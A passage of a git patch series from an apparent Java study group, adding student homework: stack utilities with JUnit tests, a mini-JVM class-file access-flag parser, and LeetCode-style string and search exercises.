+
+}

From 6d151332da2dc284c5a01d79d08b8fb3568bd093 Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Sun, 9 Apr 2017 20:28:23 +0800
Subject: [PATCH 061/262] =?UTF-8?q?[=E8=8F=A0=E8=90=9DC]:=E6=8F=90?=
 =?UTF-8?q?=E4=BA=A4=E7=AC=AC5=E6=AC=A1=E6=95=B0=E6=8D=AE=E7=BB=93?=
 =?UTF-8?q?=E6=9E=84(StackUtil)=E4=BD=9C=E4=B8=9A!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../05_StackUtil/src/main/ArrayList.java      |  75 ++++++++++++
 .../05_StackUtil/src/main/Iterator.java       |   6 +
 .../05_StackUtil/src/main/ListUtils.java      |  11 ++
 .../05_StackUtil/src/main/Stack.java          |  25 ++++
 .../05_StackUtil/src/main/StackUtil.java      | 110 ++++++++++++++++++
 .../05_StackUtil/src/test/StackUtilTest.java  |  93 +++++++++++++++
 6 files changed, 320 insertions(+)
 create mode 100644 group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java
 create mode 100644 group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java
 create mode 100644 group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java
 create mode 100644 group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java
 create mode 100644 group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java
 create mode 100644 group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java

diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java
new file mode 100644
index 0000000000..cb3e96bb69
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ArrayList.java
@@ -0,0 +1,75 @@
+package main;
+
+import java.util.Arrays;
+
+public class ArrayList{
+	private Object[] elementData = new Object[10];
+	private int size;
+
+	public void add(Object o) {
+		add(size, o);
+
+	}
+
+	public void add(int index, Object o) {
+		// 检查是否越界
+		ListUtils.CheckIndexInRange(0, size, index);
+		if (size == elementData.length) {
+			elementData = Arrays.copyOf(elementData, elementData.length + 10);
+		}
+		if (index < size) {
+			for (int i = size; i > index; i--) {
+				elementData[i] = elementData[i - 1];
+			}
+		}
+		elementData[index] = o;
+		size++;
+	}
+
+	public Object remove(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Object tag = elementData[index];
+		for (int i = index; i < size - 1; i++) {
+			elementData[i] = elementData[i + 1];
+		}
+		elementData[size - 1] = null;
+		size--;
+		return tag;
+
+	}
+
+	public Object get(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		return elementData[index];
+
+	}
+
+	public int size() {
+		return size;
+	}
+
+	public Iterator iterator() {
+		return new Iterator() {
+			private int cursor;
+
+			@Override
+			public boolean hasNext() {
+				if (size > 0) {
+					return cursor < size;
+				} else {
+					return false;
+				}
+
+			}
+
+			@Override
+			public Object next() {
+				Object tag = get(cursor);
+				cursor++;
+				return tag;
+			}
+		};
+
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java
new file mode 100644
index 0000000000..4a052a8646
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Iterator.java
@@ -0,0 +1,6 @@
+package main;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java
new file mode 100644
index 0000000000..1a52071c8b
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/ListUtils.java
@@ -0,0 +1,11 @@
+package main;
+
+public class ListUtils {
+	public static boolean CheckIndexInRange(int start, int end, int index) {
+		if (index >= start && index <= end) {
+			return true;
+		}
+		throw new IndexOutOfBoundsException();
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java
new file mode 100644
index 0000000000..bd489f7a98
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/Stack.java
@@ -0,0 +1,25 @@
+package main;
+
+public class Stack {
+	private ArrayList list = new ArrayList();
+
+	public void push(Object o) {
+		list.add(o);
+	}
+
+	public Object pop() {
+		return list.remove(list.size() - 1);
+	}
+
+	public Object peek() {
+		return list.get(list.size() - 1);
+	}
+
+	public boolean isEmpty() {
+		return list.size() == 0;
+	}
+
+	public int size() {
+		return list.size();
+	}
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java
new file mode 100644
index 0000000000..7267563541
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/main/StackUtil.java
@@ -0,0 +1,110 @@
+package main;
+
+import java.util.Arrays;
+
+public class StackUtil {
+
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		Stack stack1 = new Stack();
+		while (!s.isEmpty()) {
+			stack1.push(s.pop());
+		}
+		Stack stack2 = new Stack();
+		while (!stack1.isEmpty()) {
+			stack2.push(stack1.pop());
+		}
+		while (!stack2.isEmpty()) {
+			s.push(stack2.pop());
+		}
+
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s, Object o) {
+		Stack stack = new Stack();
+		while (!s.isEmpty()) {
+			stack.push(s.pop());
+		}
+		while (!stack.isEmpty()) {
+			Object temp = stack.pop();
+			if (!o.equals(temp)) {
+				s.push(temp);
+			}
+		}
+
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty，
+	 * 可以使用另外一个栈来辅助
+	 * 
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s, int len) {
+		if (len < 0) {
+			return new Object[0];
+		}
+		Object[] objArray = new Object[len];
+		int i = 0;
+		for (; i < len; i++) {
+			if (s.isEmpty()) {
+				break;
+			}
+			objArray[i] = s.pop();
+		}
+		objArray = Arrays.copyOf(objArray, i);
+		for (int j = objArray.length - 1; j >= 0; j--) {
+			s.push(objArray[j]);
+		}
+		return objArray;
+	}
+
+	/**
+	 * 字符串s 可能包含这些字符： ( ) [ ] { }, a,b,c... x,yz 使用堆栈检查字符串s中的括号是不是成对出现的。 例如s =
+	 * "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true 如果 s = "([b{x]y})",
+	 * 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * 
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s) {
+		String[] array = s.split("");
+		Stack stack = new Stack();
+		for (String s1 : array) {
+			if ("{[()]}".contains(s1)) {
+				if (!stack.isEmpty()) {
+					if (")]}".contains(s1)) {
+						if (s1.replace(")", "(").equals(stack.peek().toString())
+								|| s1.replace("]", "[").equals(stack.peek().toString())
+								|| s1.replace("}", "{").equals(stack.peek().toString())) {
+							stack.pop();
+						} else {
+							return false;
+						}
+					} else {
+						stack.push(s1);
+					}
+				} else {
+					if (")]}".contains(s1)) {
+						return false;
+					}
+					stack.push(s1);
+				}
+			}
+		}
+		if (stack.isEmpty()) {
+			return true;
+		}
+		return false;
+	}
+
+}
diff --git a/group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java b/group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java
new file mode 100644
index 0000000000..d2eb27dad7
--- /dev/null
+++ b/group23/1323434545/work_DataStructure/05_StackUtil/src/test/StackUtilTest.java
@@ -0,0 +1,93 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import main.Stack;
+import main.StackUtil;
+
+public class StackUtilTest {
+	Stack stack;
+
+	@Before
+	public void setUp() throws Exception {
+		stack = new Stack();
+	}
+
+	@Test
+	public void testReverse() {
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		StackUtil.reverse(stack);
+		int[] expected = { 1, 2, 3, 4, 5 };
+		for (int i = 0; !stack.isEmpty(); i++) {
+			assertEquals(expected[i], stack.pop());
+		}
+	}
+
+	@Test
+	public void testRemove() {
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		StackUtil.remove(stack, 9);
+		int[] expected = { 5, 4, 3, 2, 1 };
+		for (int i = 0; !stack.isEmpty(); i++) {
+			assertEquals(expected[i], stack.pop());
+		}
+
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		StackUtil.remove(stack, 3);
+		int[] expected1 = { 5, 4, 2, 1 };
+		for (int i = 0; !stack.isEmpty(); i++) {
+			assertEquals(expected1[i], stack.pop());
+		}
+	}
+
+	@Test
+	public void testGetTop() {
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		stack.push(5);
+		Object[] result = StackUtil.getTop(stack, 3);
+		int[] expected = { 5, 4, 3 };
+		for (int i = 0; i < result.length; i++) {
+			assertEquals(expected[i], result[i]);
+		}
+
+		result = StackUtil.getTop(stack, 9);
+		int[] expected1 = { 5, 4, 3, 2, 1 };
+		for (int i = 0; i < result.length; i++) {
+			assertEquals(expected1[i], result[i]);
+		}
+
+		result = StackUtil.getTop(stack, -1);
+		assertEquals(0, result.length);
+	}
+
+	@Test
+	public void testIsValidPairs() {
+		assertTrue(StackUtil.isValidPairs("12wed333"));
+		assertTrue(StackUtil.isValidPairs("1{2[3(4)5]6}"));
+		assertTrue(StackUtil.isValidPairs("{{{[[[((()))]]]}}}"));
+		assertTrue(StackUtil.isValidPairs("{}[]()([{}])"));
+		assertFalse(StackUtil.isValidPairs(")abcd{}[]()"));
+		assertFalse(StackUtil.isValidPairs("a{b[c}d]()"));
+		assertFalse(StackUtil.isValidPairs("a{b)c}[]{}"));
+		assertFalse(StackUtil.isValidPairs("{}[](()"));
+	}
+
+}

From 0391a23dbc703e09ba0fefe0540f2a91ed3caf46 Mon Sep 17 00:00:00 2001
From: Administrator <Administrator@win-10>
Date: Sun, 9 Apr 2017 21:20:00 +0800
Subject: [PATCH 062/262] add AccessFlag

---
 .../com/coderising/jvm/clz/AccessFlag.java    | 25 ++++++++
 .../com/coderising/jvm/clz/ClassFile.java     |  8 +++
 .../jvm/loader/ClassFileParser.java           | 64 ++++++++++++-------
 .../jvm/test/ClassFileloaderTest.java         |  8 +++
 4 files changed, 81 insertions(+), 24 deletions(-)
 create mode 100644 group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/AccessFlag.java

diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/AccessFlag.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/AccessFlag.java
new file mode 100644
index 0000000000..cdb8f8859a
--- /dev/null
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/AccessFlag.java
@@ -0,0 +1,25 @@
+package com.coderising.jvm.clz;
+
+public class AccessFlag {
+	private int flagValue;
+
+	public AccessFlag(int value) {
+		this.flagValue = value;
+	}
+
+	public int getFlagValue() {
+		return flagValue;
+	}
+
+	public void setFlagValue(int flag) {
+		this.flagValue = flag;
+	}
+	
+	public boolean isPublicClass(){
+		return (this.flagValue & 0x0001) != 0;
+	}
+	public boolean isFinalClass(){
+		return (this.flagValue & 0x0010) != 0;
+	}
+	
+}
\ No newline at end of file
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
index 3440fd5fc7..cbcd1dd0ae 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/clz/ClassFile.java
@@ -8,6 +8,7 @@ public class ClassFile {
 	private int MajorVersion;
 	private ConstantPool constantPool;
 	private ClassIndex classIndex;
+	private AccessFlag accessFlag;
 	
 	public int getMinorVersion() {
 		return minorVersion;
@@ -46,5 +47,12 @@ public void setClassIndex(ClassIndex classIndex) {
 		this.classIndex = classIndex;
 	}
 
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
 	
 }
diff --git a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
index cb74447d1f..feac69befb 100644
--- a/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
+++ b/group04/498654356/mini-jvm/jvm/src/main/java/com/coderising/jvm/loader/ClassFileParser.java
@@ -1,5 +1,6 @@
 package com.coderising.jvm.loader;
 
+import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
 import com.coderising.jvm.constant.ClassInfo;
@@ -24,38 +25,64 @@ public ClassFile parse(byte[] codes) {
 		clzFile.setMajorVersion(it.next2ByteToInt());
 		
 		//constant_pool
-		int poolCount = it.next2ByteToInt() - 1;
+		clzFile.setConstantPool(parseConstantPool(it));
+		
+		//access_flag
+		clzFile.setAccessFlag(parseAccessFlag(it));
+		
+		//classIndex
+		clzFile.setClassIndex(parseClassInfex(it));
+		
+		return clzFile;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		int value = iter.next2ByteToInt();
+		AccessFlag accessFlag = new AccessFlag(value);
+		return accessFlag;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+		int thisClassIndex = iter.next2ByteToInt();
+		int superClassIndex = iter.next2ByteToInt();
+		ClassIndex classIndex = new ClassIndex(thisClassIndex, superClassIndex);
+		return classIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		int poolCount = iter.next2ByteToInt() - 1;
 		ConstantPool constantPool = new ConstantPool();
 		constantPool.setSize(poolCount);
 		constantPool.addConstantInfo(new NULLConstantInfo());
 		while(poolCount > 0) {
-			int tag = it.next1ByteToInt();
+			int tag = iter.next1ByteToInt();
 			if(tag == ConstantPool.C_CLASS_INFO) {
-				int nameIndex = it.next2ByteToInt();
+				int nameIndex = iter.next2ByteToInt();
 				ClassInfo classInfo = new ClassInfo(nameIndex, constantPool);
 				constantPool.addConstantInfo(classInfo);
 			} else if(tag == ConstantPool.C_UTF8_INFO) {
-				int length = it.next2ByteToInt();
-				String str = it.nextLengthByteToString(length);
+				int length = iter.next2ByteToInt();
+				String str = iter.nextLengthByteToString(length);
 				UTF8Info utf8Info = new UTF8Info(str);
 				constantPool.addConstantInfo(utf8Info);
 			} else if(tag == ConstantPool.C_METHODREF_INFO) {
-				int classInfoIndex = it.next2ByteToInt();
-				int nameAndTypeIndex = it.next2ByteToInt();
+				int classInfoIndex = iter.next2ByteToInt();
+				int nameAndTypeIndex = iter.next2ByteToInt();
 				MethodRefInfo methodRefInfo = new MethodRefInfo(classInfoIndex, nameAndTypeIndex);
 				constantPool.addConstantInfo(methodRefInfo);
 			} else if(tag == ConstantPool.C_NAME_AND_TYPE_INFO) {
-				int index1 = it.next2ByteToInt();
-				int index2 = it.next2ByteToInt();
+				int index1 = iter.next2ByteToInt();
+				int index2 = iter.next2ByteToInt();
 				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(index1 , index2);
 				constantPool.addConstantInfo(nameAndTypeInfo);
 			} else if(tag == ConstantPool.C_FIELDREF_INFO) {
-				int classInfoIndex = it.next2ByteToInt();
-				int nameAndTypeIndex = it.next2ByteToInt();
+				int classInfoIndex = iter.next2ByteToInt();
+				int nameAndTypeIndex = iter.next2ByteToInt();
 				FieldRefInfo fieldRefInfo = new FieldRefInfo(classInfoIndex, nameAndTypeIndex) ;
 				constantPool.addConstantInfo(fieldRefInfo);
 			} else if(tag == ConstantPool.C_STRING_INFO) {
-				int index = it.next2ByteToInt();
+				int index = iter.next2ByteToInt();
 				StringInfo stringInfo = new StringInfo(index);
 				constantPool.addConstantInfo(stringInfo);
 			} else {
@@ -63,18 +90,7 @@ public ClassFile parse(byte[] codes) {
 			}
 			poolCount--;
 		}
-		clzFile.setConstantPool(constantPool);
-		
-		//access_flag TODO
-		it.next2ByteToInt();
-		
-		//classIndex
-		int thisClassIndex = it.next2ByteToInt();
-		int superClassIndex = it.next2ByteToInt();
-		ClassIndex classIndex = new ClassIndex(thisClassIndex, superClassIndex);
-		clzFile.setClassIndex(classIndex);
-		
-		return clzFile;
+		return constantPool;
 	}
 
 }
diff --git a/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java b/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
index 6701f3cd29..8c8d7b5f44 100644
--- a/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
+++ b/group04/498654356/mini-jvm/jvm/src/test/java/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -5,6 +5,7 @@
 import org.junit.Before;
 import org.junit.Test;
 
+import com.coderising.jvm.clz.AccessFlag;
 import com.coderising.jvm.clz.ClassFile;
 import com.coderising.jvm.clz.ClassIndex;
 import com.coderising.jvm.constant.ClassInfo;
@@ -191,5 +192,12 @@ public void testClassIndex(){
     	Assert.assertEquals(FULL_QUALIFIED_CLASS_NAME, thisClassInfo.getClassName());
     	Assert.assertEquals("java/lang/Object", superClassInfo.getClassName());
     }
+    
+    @Test
+    public void testAccessFlag() {
+    	AccessFlag accessFlag = clzFile.getAccessFlag();
+    	Assert.assertEquals(true, accessFlag.isPublicClass());
+    	Assert.assertEquals(false, accessFlag.isFinalClass());
+    }
 
 }

From d96e83aee061f1eafeabeaa57804bb41bcb093c8 Mon Sep 17 00:00:00 2001
From: longcloud <longhuilong1988@163.com>
Date: Sun, 9 Apr 2017 21:59:30 +0800
Subject: [PATCH 063/262] =?UTF-8?q?=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../com/coding/basic/{ => stack}/Stack.java   |   4 +-
 .../src/com/coding/basic/stack/StackUtil.java | 133 ++++++++++++++++++
 2 files changed, 136 insertions(+), 1 deletion(-)
 rename group03/619224754/src/com/coding/basic/{ => stack}/Stack.java (87%)
 create mode 100644 group03/619224754/src/com/coding/basic/stack/StackUtil.java

diff --git a/group03/619224754/src/com/coding/basic/Stack.java b/group03/619224754/src/com/coding/basic/stack/Stack.java
similarity index 87%
rename from group03/619224754/src/com/coding/basic/Stack.java
rename to group03/619224754/src/com/coding/basic/stack/Stack.java
index cf10ecc1b3..016b7630ba 100644
--- a/group03/619224754/src/com/coding/basic/Stack.java
+++ b/group03/619224754/src/com/coding/basic/stack/Stack.java
@@ -1,4 +1,6 @@
-package com.coding.basic;
+package com.coding.basic.stack;
+
+import com.coding.basic.ArrayList;
 
 public class Stack {
 	private ArrayList elementData = new ArrayList();
diff --git a/group03/619224754/src/com/coding/basic/stack/StackUtil.java b/group03/619224754/src/com/coding/basic/stack/StackUtil.java
new file mode 100644
index 0000000000..1da51576f2
--- /dev/null
+++ b/group03/619224754/src/com/coding/basic/stack/StackUtil.java
@@ -0,0 +1,133 @@
+package com.coding.basic.stack;
+
+public class StackUtil {
+
+	/**
+	 * 假设栈中的元素是Integer, 从栈顶到栈底是 : 5,4,3,2,1 调用该方法后， 元素次序变为: 1,2,3,4,5
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 */
+	public static void reverse(Stack s) {
+		if(s == null || s.isEmpty()) {
+			return;
+		}
+		
+		Stack retStack = new Stack();
+		Object o = null;
+		do
+		{
+			o = s.pop();
+			retStack.push(o);
+		}
+		while(o != null);
+		
+		s = retStack;
+	}
+
+	/**
+	 * 删除栈中的某个元素 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * 
+	 * @param o
+	 */
+	public static void remove(Stack s,Object o) {
+		if(s == null || s.isEmpty()) {
+			return;
+		}
+		
+		Stack tempStack = new Stack();
+		Object o1 = null;
+		do
+		{
+			o1 = s.pop();
+			if(o1 == o) {
+				break;
+			}
+			else {
+				tempStack.push(o1);	
+			}
+		}
+		while(o1 != null);
+		
+		do
+		{
+			o1 = tempStack.pop();
+			s.push(o1);	
+		}
+		while(o1 != null);
+	}
+
+	/**
+	 * 从栈顶取得len个元素, 原来的栈中元素保持不变
+	 * 注意：只能使用Stack的基本操作，即push,pop,peek,isEmpty， 可以使用另外一个栈来辅助
+	 * @param len
+	 * @return
+	 */
+	public static Object[] getTop(Stack s,int len) {
+		if(s == null || s.isEmpty() ||len <= 0) {
+			return null;
+		}
+		
+		Object[] arr = new Object[len];
+		if(s.size() < len){
+			for (int i = 0; i < s.size(); i++) {
+				arr[i] = s.pop();
+			}
+			for (int i = s.size(); i >= 0; i--) {
+				s.push(arr[i]);
+			}
+		}
+		else
+		{
+			for (int i = 0; i < len; i++) {
+				arr[i] = s.pop();
+			}
+			for (int i = len; i >= 0; i--) {
+				s.push(arr[i]);
+			}
+		}
+		
+		return arr;
+	}
+	/**
+	 * 字符串s 可能包含这些字符：  ( ) [ ] { }, a,b,c... x,yz
+	 * 使用堆栈检查字符串s中的括号是不是成对出现的。
+	 * 例如s = "([e{d}f])" , 则该字符串中的括号是成对出现， 该方法返回true
+	 * 如果 s = "([b{x]y})", 则该字符串中的括号不是成对出现的， 该方法返回false;
+	 * @param s
+	 * @return
+	 */
+	public static boolean isValidPairs(String s){
+		boolean isValid = true;
+		Stack stack = new Stack();
+		for (int i = 0; i < s.length(); i++) {
+			if(s.charAt(i) =='(' || s.charAt(i) =='[' || s.charAt(i) =='{') {
+				stack.push(s.charAt(i)); 
+			}
+			else if(s.charAt(i) ==')' || s.charAt(i) ==']' || s.charAt(i) =='}') {
+				char c = ' ';
+				switch(s.charAt(i))
+				{
+					case ')':
+						c = (char) stack.pop();
+						if(c != '(')
+							isValid = false;
+						break;
+					case ']':
+						c = (char) stack.pop();
+						if(c != '[')
+							isValid = false;
+						break;
+					case '}':
+						c = (char) stack.pop();
+						if(c != '{')
+							isValid = false;
+						break;
+				
+				}
+				if(!isValid) {
+					break;	
+				}	
+			}
+		}
+		return isValid;
+	}
+}

From f2f63c5c55eb0c8d8551a142d13ac78725da0c2f Mon Sep 17 00:00:00 2001
From: anxinJ <1028361767@qq.com>
Date: Sun, 9 Apr 2017 22:33:31 +0800
Subject: [PATCH 064/262] =?UTF-8?q?jvm=E7=AC=AC=E4=BA=8C=E6=AC=A1=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

jvm第二次作业
---
 .../me/book/algorithms/BasicBinarySearch.java |  12 +
 .../algorithms/LongestCommonPrefix.java       | 223 ++++++++++++++++++
 .../algorithms/MedianOfTwoSortedArrays.java   |  60 +++--
 .../coding/me/leetcode/algorithms/TwoSum.java |  21 ++
 .../src/practise/chapter1/HelloService.java   |  35 +++
 .../practise/chapter1/HelloWorldService.java  |   9 +
 .../learn-spring/src/test/practise/Test1.java |  39 +++
 .../jvm/loader/ByteCodeIterator.java          |  55 ++++-
 .../jvm/loader/ClassFileParser.java           |  80 ++++++-
 9 files changed, 504 insertions(+), 30 deletions(-)
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java
 create mode 100644 group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java
 create mode 100644 group23/1028361767/learn-spring/src/practise/chapter1/HelloService.java
 create mode 100644 group23/1028361767/learn-spring/src/practise/chapter1/HelloWorldService.java
 create mode 100644 group23/1028361767/learn-spring/src/test/practise/Test1.java

diff --git a/group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java b/group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java
new file mode 100644
index 0000000000..ad58cb7730
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/book/algorithms/BasicBinarySearch.java
@@ -0,0 +1,12 @@
+package com.coding.me.book.algorithms;
+
+public class BasicBinarySearch {
+	
+	public int findIndex(int[] nums, int target){
+		if(nums.length == 0) return -1;
+		
+		int mid = nums.length / 2;
+		return 0;
+	}
+	
+}
diff --git a/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java
new file mode 100644
index 0000000000..910241063f
--- /dev/null
+++ b/group23/1028361767/data-structure/src/com/coding/me/leetcode/algorithms/LongestCommonPrefix.java
@@ -0,0 +1,223 @@
+package com.coding.me.leetcode.algorithms;
+
+/**
+ * Write a function to find the longest common prefix string amongst an array of strings.
+ * ["a", "b"] return ""
+ * ["a", "a"] return "a"
+ * ["ac", "ac", "a", "a"] return "a"
+ *
+ */
+public class LongestCommonPrefix {
+	
+	public static String mySolution(String[] strs){
+		if(strs.length == 0) return "";
+		char[] chars = strs[0].toCharArray();
+		int count = chars.length;
+		if(count == 0) return "";
+		char[] tmp;
+		for(int i = 1;i<strs.length;i++){
+			tmp = strs[i].toCharArray();
+			if(tmp.length == 0) return "";
+			for(int j=0;j<tmp.length && j<chars.length;j++){
+				if(chars[j] == tmp[j]) {
+					if(j != tmp.length - 1) continue;
+					else{
+						if(++j < count) count = j;
+						break;
+					}
+				}
+				if(j < count) count = j;
+				break;
+			}
+		}
+		return strs[0].substring(0, count);
+	}
+	
+	/**
+	 * Time complexity:O(S),where S is the sum of all characters in all strings.
+	 * @param strs
+	 * @return
+	 */
+	public static String leetcodeSolution1(String[] strs) {
+	    if (strs.length == 0) return "";
+	    String prefix = strs[0];
+	    for (int i = 1; i < strs.length; i++)
+	        while (strs[i].indexOf(prefix) != 0) {
+	            prefix = prefix.substring(0, prefix.length() - 1);
+	            if (prefix.isEmpty()) return "";
+	        }        
+	    return prefix;
+	}
+	
+	/**
+	 * Time complexity:O(S),where S is the sum of all characters in all strings.
+	 * @param strs
+	 * @return
+	 */
+	public String leetcodeSolution2(String[] strs) {
+	    if (strs == null || strs.length == 0) return "";
+	    for (int i = 0; i < strs[0].length() ; i++){
+	        char c = strs[0].charAt(i);
+	        for (int j = 1; j < strs.length; j ++) {
+	            if (i == strs[j].length() || strs[j].charAt(i) != c)
+	                return strs[0].substring(0, i);             
+	        }
+	    }
+	    return strs[0];
+	}
+	
+	public String leetcodeSolution3(String[] strs) {
+	    if (strs == null || strs.length == 0) return "";    
+	        return longestCommonPrefix(strs, 0 , strs.length - 1);
+	}
+	
+	private int i=1;
+	private int j=1;
+
+	private String longestCommonPrefix(String[] strs, int l, int r) {
+		System.out.println("第" + i++ + "次进入longestCommonPrefix;l = " + l + ",r = " + r);
+	    if (l == r) {
+	        return strs[l];
+	    }
+	    else {
+	        int mid = (l + r)/2;
+	        String lcpLeft =   longestCommonPrefix(strs, l , mid);
+	        String lcpRight =  longestCommonPrefix(strs, mid + 1,r);
+	        return commonPrefix(lcpLeft, lcpRight);
+	   }
+	}
+
+	private String commonPrefix(String left,String right) {
+		System.out.println("第" + j++ + "次进入longestCommonPrefix;left = " + left + ",right = " + right);
+	    int min = Math.min(left.length(), right.length());       
+	    for (int i = 0; i < min; i++) {
+	        if ( left.charAt(i) != right.charAt(i) )
+	            return left.substring(0, i);
+	    }
+	    return left.substring(0, min);
+	}
+	
+	/**
+	 * Time Complexity O(S*log(n))
+	 * Space Complexity O(1)
+	 * @param strs
+	 * @return
+	 */
+	public String leetcodeSolution4(String[] strs) {
+	    if (strs == null || strs.length == 0)
+	        return "";
+	    int minLen = Integer.MAX_VALUE;
+	    for (String str : strs)
+	        minLen = Math.min(minLen, str.length());
+	    int low = 1;
+	    int high = minLen;
+	    while (low <= high) {
+	        int middle = (low + high) / 2;
+	        if (isCommonPrefix(strs, middle))
+	            low = middle + 1;
+	        else
+	            high = middle - 1;
+	    }
+	    return strs[0].substring(0, (low + high) / 2);
+	}
+
+	private boolean isCommonPrefix(String[] strs, int len){
+	    String str1 = strs[0].substring(0,len);
+	    for (int i = 1; i < strs.length; i++)
+	        if (!strs[i].startsWith(str1))
+	            return false;
+	    return true;
+	}
+	
+	public String longestCommonPrefix(String q, String[] strs) {
+	    if (strs == null || strs.length == 0)
+	         return "";  
+	    if (strs.length == 1)
+	         return strs[0];
+	    Trie trie = new Trie();      
+	    for (int i = 1; i < strs.length ; i++) {
+	        trie.insert(strs[i]);
+	    }
+	    return trie.searchLongestPrefix(q);
+	}
+
+	class TrieNode {
+
+	    // R links to node children
+	    private TrieNode[] links;
+
+	    private final int R = 26;
+
